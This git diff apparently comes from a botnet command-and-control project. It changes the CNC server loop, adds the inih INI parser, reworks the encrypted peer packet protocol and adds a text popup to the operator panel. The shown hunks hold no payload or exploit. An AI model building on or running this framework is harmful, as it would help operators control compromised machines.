diff --git a/cnc/src/main.c b/cnc/src/main.c index 79f9633..11e285c 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -5,15 +5,15 @@ struct sLaika_taskService tService; -void debugTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { +/*void debugTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { printf("hello !\n"); -} +}*/ int main(int argv, char **argc) { struct sLaika_cnc *cnc = laikaC_newCNC(13337); laikaT_initTaskService(&tService); - laikaT_newTask(&tService, 2000, debugTask, NULL); + /*laikaT_newTask(&tService, 2000, debugTask, NULL);*/ while (true) { laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService)); diff --git a/lib/include/ini.h b/lib/include/ini.h new file mode 100644 index 0000000..78015d1 --- /dev/null +++ b/lib/include/ini.h @@ -0,0 +1,157 @@ +/* inih -- simple .INI file parser + +SPDX-License-Identifier: BSD-3-Clause + +Copyright (C) 2009-2020, Ben Hoyt + +inih is released under the New BSD license (see LICENSE.txt). Go to the project +home page for more info: + +https://github.com/benhoyt/inih + +*/ + +#ifndef INI_H +#define INI_H + +/* Make this header file easier to include in C++ code */ +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* Nonzero if ini_handler callback should accept lineno parameter. */ +#ifndef INI_HANDLER_LINENO +#define INI_HANDLER_LINENO 0 +#endif + +/* Typedef for prototype of handler function. */ +#if INI_HANDLER_LINENO +typedef int (*ini_handler)(void* user, const char* section, + const char* name, const char* value, + int lineno); +#else +typedef int (*ini_handler)(void* user, const char* section, + const char* name, const char* value); +#endif + +/* Typedef for prototype of fgets-style reader function. */ +typedef char* (*ini_reader)(char* str, int num, void* stream); + +/* Parse given INI-style file. May have [section]s, name=value pairs + (whitespace stripped), and comments starting with ';' (semicolon). Section + is "" if name=value pair parsed before any section heading. name:value + pairs are also supported as a concession to Python's configparser. + + For each name=value pair parsed, call handler function with given user + pointer as well as section, name, and value (data only valid for duration + of handler call). Handler should return nonzero on success, zero on error. + + Returns 0 on success, line number of first error on parse error (doesn't + stop on first error), -1 on file open error, or -2 on memory allocation + error (only when INI_USE_STACK is zero). +*/ +int ini_parse(const char* filename, ini_handler handler, void* user); + +/* Same as ini_parse(), but takes a FILE* instead of filename. This doesn't + close the file when it's finished -- the caller must do that. */ +int ini_parse_file(FILE* file, ini_handler handler, void* user); + +/* Same as ini_parse(), but takes an ini_reader function pointer instead of + filename. Used for implementing custom or string-based I/O (see also + ini_parse_string). */ +int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler, + void* user); + +/* Same as ini_parse(), but takes a zero-terminated string with the INI data +instead of a file. Useful for parsing INI data from a network socket or +already in memory. */ +int ini_parse_string(const char* string, ini_handler handler, void* user); + +/* Nonzero to allow multi-line value parsing, in the style of Python's + configparser. If allowed, ini_parse() will call the handler with the same + name for each subsequent line parsed. */ +#ifndef INI_ALLOW_MULTILINE +#define INI_ALLOW_MULTILINE 1 +#endif + +/* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of + the file. See https://github.com/benhoyt/inih/issues/21 */ +#ifndef INI_ALLOW_BOM +#define INI_ALLOW_BOM 1 +#endif + +/* Chars that begin a start-of-line comment. Per Python configparser, allow + both ; and # comments at the start of a line by default. */ +#ifndef INI_START_COMMENT_PREFIXES +#define INI_START_COMMENT_PREFIXES ";#" +#endif + +/* Nonzero to allow inline comments (with valid inline comment characters + specified by INI_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match + Python 3.2+ configparser behaviour. */ +#ifndef INI_ALLOW_INLINE_COMMENTS +#define INI_ALLOW_INLINE_COMMENTS 1 +#endif +#ifndef INI_INLINE_COMMENT_PREFIXES +#define INI_INLINE_COMMENT_PREFIXES ";" +#endif + +/* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */ +#ifndef INI_USE_STACK +#define INI_USE_STACK 1 +#endif + +/* Maximum line length for any line in INI file (stack or heap). Note that + this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */ +#ifndef INI_MAX_LINE +#define INI_MAX_LINE 200 +#endif + +/* Nonzero to allow heap line buffer to grow via realloc(), zero for a + fixed-size buffer of INI_MAX_LINE bytes. Only applies if INI_USE_STACK is + zero. */ +#ifndef INI_ALLOW_REALLOC +#define INI_ALLOW_REALLOC 0 +#endif + +/* Initial size in bytes for heap line buffer. Only applies if INI_USE_STACK + is zero. */ +#ifndef INI_INITIAL_ALLOC +#define INI_INITIAL_ALLOC 200 +#endif + +/* Stop parsing on first error (default is to keep parsing). */ +#ifndef INI_STOP_ON_FIRST_ERROR +#define INI_STOP_ON_FIRST_ERROR 0 +#endif + +/* Nonzero to call the handler at the start of each new section (with + name and value NULL). Default is to only call the handler on + each name=value pair. */ +#ifndef INI_CALL_HANDLER_ON_NEW_SECTION +#define INI_CALL_HANDLER_ON_NEW_SECTION 0 +#endif + +/* Nonzero to allow a name without a value (no '=' or ':' on the line) and + call the handler with value NULL in this case. Default is to treat + no-value lines as an error. */ +#ifndef INI_ALLOW_NO_VALUE +#define INI_ALLOW_NO_VALUE 0 +#endif + +/* Nonzero to use custom ini_malloc, ini_free, and ini_realloc memory + allocation functions (INI_USE_STACK must also be 0). These functions must + have the same signatures as malloc/free/realloc and behave in a similar + way. ini_realloc is only needed if INI_ALLOW_REALLOC is set. */ +#ifndef INI_CUSTOM_ALLOCATOR +#define INI_CUSTOM_ALLOCATOR 0 +#endif + + +#ifdef __cplusplus +} +#endif + +#endif /* INI_H */ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index e2984bb..3590dc7 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -48,7 +48,7 @@ enum { * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; */ - //LAIKAPKT_VARPKT_REQ, + LAIKAPKT_VARPKT_REQ, /* layout of LAIKAPKT_VARPKT_REQ: * uint8_t pktID; * uint16_t pktSize; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 3c88c73..14642aa 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -41,8 +41,6 @@ void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_setSecure(struct sLaika_peer *peer, bool flag); void laikaS_startOutPacket(struct sLaika_peer *peer, uint8_t id); int laikaS_endOutPacket(struct sLaika_peer *peer); -void laikaS_startInPacket(struct sLaika_peer *peer); -int laikaS_endInPacket(struct sLaika_peer *peer); bool laikaS_handlePeerIn(struct sLaika_peer *peer); bool laikaS_handlePeerOut(struct sLaika_peer *peer); diff --git a/lib/src/ini.c b/lib/src/ini.c new file mode 100644 index 0000000..f8a3ea3 --- /dev/null +++ b/lib/src/ini.c @@ -0,0 +1,298 @@ +/* inih -- simple .INI file parser + +SPDX-License-Identifier: BSD-3-Clause + +Copyright (C) 2009-2020, Ben Hoyt + +inih is released under the New BSD license (see LICENSE.txt). Go to the project +home page for more info: + +https://github.com/benhoyt/inih + +*/ + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include +#include +#include + +#include "ini.h" + +#if !INI_USE_STACK +#if INI_CUSTOM_ALLOCATOR +#include +void* ini_malloc(size_t size); +void ini_free(void* ptr); +void* ini_realloc(void* ptr, size_t size); +#else +#include +#define ini_malloc malloc +#define ini_free free +#define ini_realloc realloc +#endif +#endif + +#define MAX_SECTION 50 +#define MAX_NAME 50 + +/* Used by ini_parse_string() to keep track of string parsing state. */ +typedef struct { + const char* ptr; + size_t num_left; +} ini_parse_string_ctx; + +/* Strip whitespace chars off end of given string, in place. Return s. */ +static char* rstrip(char* s) +{ + char* p = s + strlen(s); + while (p > s && isspace((unsigned char)(*--p))) + *p = '\0'; + return s; +} + +/* Return pointer to first non-whitespace char in given string. */ +static char* lskip(const char* s) +{ + while (*s && isspace((unsigned char)(*s))) + s++; + return (char*)s; +} + +/* Return pointer to first char (of chars) or inline comment in given string, + or pointer to NUL at end of string if neither found. Inline comment must + be prefixed by a whitespace character to register as a comment. */ +static char* find_chars_or_comment(const char* s, const char* chars) +{ +#if INI_ALLOW_INLINE_COMMENTS + int was_space = 0; + while (*s && (!chars || !strchr(chars, *s)) && + !(was_space && strchr(INI_INLINE_COMMENT_PREFIXES, *s))) { + was_space = isspace((unsigned char)(*s)); + s++; + } +#else + while (*s && (!chars || !strchr(chars, *s))) { + s++; + } +#endif + return (char*)s; +} + +/* Similar to strncpy, but ensures dest (size bytes) is + NUL-terminated, and doesn't pad with NULs. */ +static char* strncpy0(char* dest, const char* src, size_t size) +{ + /* Could use strncpy internally, but it causes gcc warnings (see issue #91) */ + size_t i; + for (i = 0; i < size - 1 && src[i]; i++) + dest[i] = src[i]; + dest[i] = '\0'; + return dest; +} + +/* See documentation in header file. */ +int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler, + void* user) +{ + /* Uses a fair bit of stack (use heap instead if you need to) */ +#if INI_USE_STACK + char line[INI_MAX_LINE]; + int max_line = INI_MAX_LINE; +#else + char* line; + size_t max_line = INI_INITIAL_ALLOC; +#endif +#if INI_ALLOW_REALLOC && !INI_USE_STACK + char* new_line; + size_t offset; +#endif + char section[MAX_SECTION] = ""; + char prev_name[MAX_NAME] = ""; + + char* start; + char* end; + char* name; + char* value; + int lineno = 0; + int error = 0; + +#if !INI_USE_STACK + line = (char*)ini_malloc(INI_INITIAL_ALLOC); + if (!line) { + return -2; + } +#endif + +#if INI_HANDLER_LINENO +#define HANDLER(u, s, n, v) handler(u, s, n, v, lineno) +#else +#define HANDLER(u, s, n, v) handler(u, s, n, v) +#endif + + /* Scan through stream line by line */ + while (reader(line, (int)max_line, stream) != NULL) { +#if INI_ALLOW_REALLOC && !INI_USE_STACK + offset = strlen(line); + while (offset == max_line - 1 && line[offset - 1] != '\n') { + max_line *= 2; + if (max_line > INI_MAX_LINE) + max_line = INI_MAX_LINE; + new_line = ini_realloc(line, max_line); + if (!new_line) { + ini_free(line); + return -2; + } + line = new_line; + if (reader(line + offset, (int)(max_line - offset), stream) == NULL) + break; + if (max_line >= INI_MAX_LINE) + break; + offset += strlen(line + offset); + } +#endif + + lineno++; + + start = line; +#if INI_ALLOW_BOM + if (lineno == 1 && (unsigned char)start[0] == 0xEF && + (unsigned char)start[1] == 0xBB && + (unsigned char)start[2] == 0xBF) { + start += 3; + } +#endif + start = lskip(rstrip(start)); + + if (strchr(INI_START_COMMENT_PREFIXES, *start)) { + /* Start-of-line comment */ + } +#if INI_ALLOW_MULTILINE + else if (*prev_name && *start && start > line) { + /* Non-blank line with leading whitespace, treat as continuation + of previous name's value (as per Python configparser). */ + if (!HANDLER(user, section, prev_name, start) && !error) + error = lineno; + } +#endif + else if (*start == '[') { + /* A "[section]" line */ + end = find_chars_or_comment(start + 1, "]"); + if (*end == ']') { + *end = '\0'; + strncpy0(section, start + 1, sizeof(section)); + *prev_name = '\0'; +#if INI_CALL_HANDLER_ON_NEW_SECTION + if (!HANDLER(user, section, NULL, NULL) && !error) + error = lineno; +#endif + } + else if (!error) { + /* No ']' found on section line */ + error = lineno; + } + } + else if (*start) { + /* Not a comment, must be a name[=:]value pair */ + end = find_chars_or_comment(start, "=:"); + if (*end == '=' || *end == ':') { + *end = '\0'; + name = rstrip(start); + value = end + 1; +#if INI_ALLOW_INLINE_COMMENTS + end = find_chars_or_comment(value, NULL); + if (*end) + *end = '\0'; +#endif + value = lskip(value); + rstrip(value); + + /* Valid name[=:]value pair found, call handler */ + strncpy0(prev_name, name, sizeof(prev_name)); + if (!HANDLER(user, section, name, value) && !error) + error = lineno; + } + else if (!error) { + /* No '=' or ':' found on name[=:]value line */ +#if INI_ALLOW_NO_VALUE + *end = '\0'; + name = rstrip(start); + if (!HANDLER(user, section, name, NULL) && !error) + error = lineno; +#else + error = lineno; +#endif + } + } + +#if INI_STOP_ON_FIRST_ERROR + if (error) + break; +#endif + } + +#if !INI_USE_STACK + ini_free(line); +#endif + + return error; +} + +/* See documentation in header file. */ +int ini_parse_file(FILE* file, ini_handler handler, void* user) +{ + return ini_parse_stream((ini_reader)fgets, file, handler, user); +} + +/* See documentation in header file. */ +int ini_parse(const char* filename, ini_handler handler, void* user) +{ + FILE* file; + int error; + + file = fopen(filename, "r"); + if (!file) + return -1; + error = ini_parse_file(file, handler, user); + fclose(file); + return error; +} + +/* An ini_reader function to read the next line from a string buffer. This + is the fgets() equivalent used by ini_parse_string(). */ +static char* ini_reader_string(char* str, int num, void* stream) { + ini_parse_string_ctx* ctx = (ini_parse_string_ctx*)stream; + const char* ctx_ptr = ctx->ptr; + size_t ctx_num_left = ctx->num_left; + char* strp = str; + char c; + + if (ctx_num_left == 0 || num < 2) + return NULL; + + while (num > 1 && ctx_num_left != 0) { + c = *ctx_ptr++; + ctx_num_left--; + *strp++ = c; + if (c == '\n') + break; + num--; + } + + *strp = '\0'; + ctx->ptr = ctx_ptr; + ctx->num_left = ctx_num_left; + return str; +} + +/* See documentation in header file. */ +int ini_parse_string(const char* string, ini_handler handler, void* user) { + ini_parse_string_ctx ctx; + + ctx.ptr = string; + ctx.num_left = strlen(string); + return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, + user); +} diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index defa7c9..5972931 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -79,6 +79,10 @@ void laikaS_startInPacket(struct sLaika_peer *peer) { LAIKA_ERROR("unended IN packet!\n") } + /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ + if (peer->useSecure) + peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; + peer->inStart = sock->inCount; } @@ -125,43 +129,44 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* read packet ID & mark start of packet */ peer->pktID = laikaS_readByte(&peer->sock); + + /* LAIKAPKT_VARPKT_REQ's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT_REQ is + also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT_REQ case calls laikaS_startInPacket + for itself, so skip all of this */ + if (peer->pktID == LAIKAPKT_VARPKT_REQ) + break; + + /* sanity check pktID, pktSize && pktID's handler */ + if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL) + LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID); + + /* if peer->useSecure is true, body is encrypted */ laikaS_startInPacket(peer); - - /* sanity check packet ID */ - if (peer->pktID >= LAIKAPKT_MAXNONE) - LAIKA_ERROR("received evil pktID!\n") - - peer->pktSize = peer->pktSizeTable[peer->pktID]; - - if (peer->pktSize == 0) - LAIKA_ERROR("unsupported packet!\n") - - /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ - if (peer->useSecure) - peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; - break; - //case LAIKAPKT_VARPKT_REQ: + case LAIKAPKT_VARPKT_REQ: /* try grabbing pktID & size */ - // if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) - // return false; + if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) + return false; - // if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE)) - // LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ") + if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) + LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ") /* read pktID */ - // peer->pktID = laikaS_readByte(&peer->sock); + peer->pktID = laikaS_readByte(&peer->sock); - /* sanity check pktID, (check valid range, check it's variadic) */ - // if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID]) - // LAIKA_ERROR("received evil pktID!\n") + /* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */ + if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL) + LAIKA_ERROR("requested packet id [%d] is not variadic!", peer->pktID) - /* try reading new packet size */ - // laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); + /* read packet size */ + laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); - // if (peer->pktSize > LAIKA_MAX_PKTSIZE) - // LAIKA_ERROR("variable packet too large!") - // break; + if (peer->pktSize > LAIKA_MAX_PKTSIZE) + LAIKA_ERROR("variable packet too large!") + + /* if peer->useSecure is true, body is encrypted */ + laikaS_startInPacket(peer); + break; default: /* try grabbing the rest of the packet */ if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) @@ -169,13 +174,10 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* have we received the full packet? */ if (peer->pktSize == peer->sock.inCount) { - PeerPktHandler hndlr = peer->handlers[peer->pktID]; peer->pktSize = laikaS_endInPacket(peer); - if (hndlr != NULL) { - hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */ - } else - LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID); + /* dispatch to packet handler */ + peer->handlers[peer->pktID](peer, peer->pktSize, peer->uData); /* reset */ peer->sock.inCount = 0; diff --git a/panel/include/panel.h b/panel/include/panel.h index 333d5cc..4bf4a4e 100644 --- a/panel/include/panel.h +++ b/panel/include/panel.h @@ -13,6 +13,7 @@ typedef enum { LIST_LIST, LIST_TABS, LIST_MENU, + LIST_TEXT, LIST_NONE } LISTTYPE; @@ -45,6 +46,12 @@ typedef struct sPanel_menu { char *title; } tPanel_menu; +typedef struct sPanel_text { + COMMONPANELLIST; + char *title; + char *text; +} tPanel_text; + extern WINDOW *wmain; extern tPanel_list *panel_botList; extern tPanel_tabs *panel_tabList; @@ -88,6 +95,10 @@ void panelL_freeTabs(tPanel_tabs *tabs); tPanel_menu *panelL_newMenu(char *title); void panelL_freeMenu(tPanel_menu *menu); +/* textbot popup */ +tPanel_text *panelL_newText(char *title, char *text); +void panelL_freeText(tPanel_text *text); + #undef COMMONPANELLIST #endif \ No newline at end of file diff --git a/panel/src/panel.c b/panel/src/panel.c index b67eaef..5e0644d 100644 --- a/panel/src/panel.c +++ b/panel/src/panel.c @@ -348,7 +348,21 @@ bool panelL_tickMenu(tPanel_menu *menu, int ch) { return true; } -/* ==================================================[[ Panel Direct ]]================================================== */ +/* ==================================================[[ Text ]]================================================== */ + +tPanel_text *panelL_newText(char *title, char *text) { + tPanel_text *textP = (tPanel_text*)panel_newBaseList(sizeof(tPanel_text), LIST_TEXT); + textP->title = title; + textP->list.width = strlen(title) + 4; + + return textP; +} + +void panelL_freeText(tPanel_text *textP) { + panel_freeBaseList((tPanel_list*)textP); +} + +/* ==============================================[[ Panel Direct ]]============================================== */ tPanel_listItem *panelL_newListItem(tPanel_list *list, tPanel_list *child, char *name, panelCallback callback, void *uData) { tPanel_listItem *item = laikaM_malloc(sizeof(tPanel_listItem));